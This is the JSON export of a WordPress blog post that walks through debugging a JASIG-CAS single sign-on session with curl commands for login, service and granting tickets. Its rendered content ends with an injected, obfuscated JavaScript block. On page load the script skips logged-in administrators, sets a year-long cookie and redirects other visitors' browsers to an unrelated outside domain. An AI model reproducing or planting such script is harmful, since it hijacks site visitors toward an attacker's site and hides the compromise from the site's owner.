{"id":422,"date":"2012-04-23T21:48:09","date_gmt":"2012-04-23T13:48:09","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=422"},"modified":"2012-10-18T10:03:07","modified_gmt":"2012-10-18T02:03:07","slug":"jasig-cas-debug-trace","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/04\/23\/jasig-cas-debug-trace\/","title":{"rendered":"JASIG-CAS debug trace"},"content":{"rendered":"<p>JASIG-CAS provide SSO for web application.  CASify a web application could make your application enjoy SSO.<\/p>\n<h1>Debug trace a CAS session<\/h1>\n<ul>\n<li>Getting the lt ticket from login screen, e.g.\n<pre>\r\ncurl --cookie-jar \/tmp\/c1.cookie -X GET -v https:\/\/cas.example.com\/cas\/login?service=http:\/\/www.abc.com|grep lt\r\n<\/pre>\n<p>Get the login ticket,LT-XXXXXX&#8230;, ready for the step.\n<\/li>\n<li>Provide username &#038; password &#038; the LT ticket\n<pre>\r\ncurl -X POST -d \"username=usrsid&password=verysecret&lt=LT-XXXXX...\" --cookie \/tmp\/c1.cookie --cookie-jar \/tmp\/c2.cookie -v https:\/\/cas.example.com\/cas\/login?service=http:\/\/www.abc.com\r\n<\/pre>\n<p><strong>You may need to include execution &#038; _eventId in the post data for recent version of CAS server<\/strong>\n<\/li>\n<p>Afterward, you should get the service ticket, ST-XXXXX&#8230;., now.  Also, \/tmp\/c2.cookie contain the cookie of TGC.  Laster, you could use the TGC to get the ST without providing username &#038; password again.<\/p>\n<li>Application use the service ticket to get the userid.\n<pre>\r\ncurl -X GET -v 'https:\/\/cas.example.com\/cas\/serviceValidate?service=http:\/\/www.abc.com&ticket=ST-XXXXX...'\r\n<\/pre>\n<\/li>\n<p>UserID shoud be returned.<\/p>\n<li>Using TGC ticket without providing username &#038; password to do authentication\n<pre>\r\ncurl --cookie \/tmp\/c2.cookie -X GET -v https:\/\/cas.example.com\/cas\/login?service=http:\/\/www.abcd.com\r\n<\/pre>\n<p>Get the ST from the reply.\n<\/li>\n<li>\n<pre>\r\ncurl -X GET -v 'https:\/\/cas.example.com\/cas\/serviceValidate?service=http:\/\/www.abcd.com&ticket=ST-XXXX...'\r\n<\/pre>\n<\/li>\n<\/ul>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>JASIG-CAS provide SSO for web application. CASify a web application could make your application enjoy SSO. Debug trace a CAS session Getting the lt ticket from login screen, e.g. curl &#8211;cookie-jar \/tmp\/c1.cookie -X GET -v https:\/\/cas.example.com\/cas\/login?service=http:\/\/www.abc.com|grep lt Get the login ticket,LT-XXXXXX&#8230;, ready for the step. Provide username &#038; password &#038; the LT ticket curl -X POST -d &#8220;username=usrsid&#038;password=verysecret&#038;lt=LT-XXXXX&#8230;&#8221; &#8211;cookie \/tmp\/c1.cookie &#8211;cookie-jar \/tmp\/c2.cookie -v https:\/\/cas.example.com\/cas\/login?service=http:\/\/www.abc.com You may need to include execution &#038; _eventId in the post data for recent version of CAS server Afterward, you should get the service ticket, ST-XXXXX&#8230;., now. Also, \/tmp\/c2.cookie contain the cookie of TGC. Laster, you <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[8],"tags":[59],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/422"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=422"}],"version-history":[{"count":5,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/422\/revisions"}],"predecessor-version":[{"id":684,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/422\/revisions\/684"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=422"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=422"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=422"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}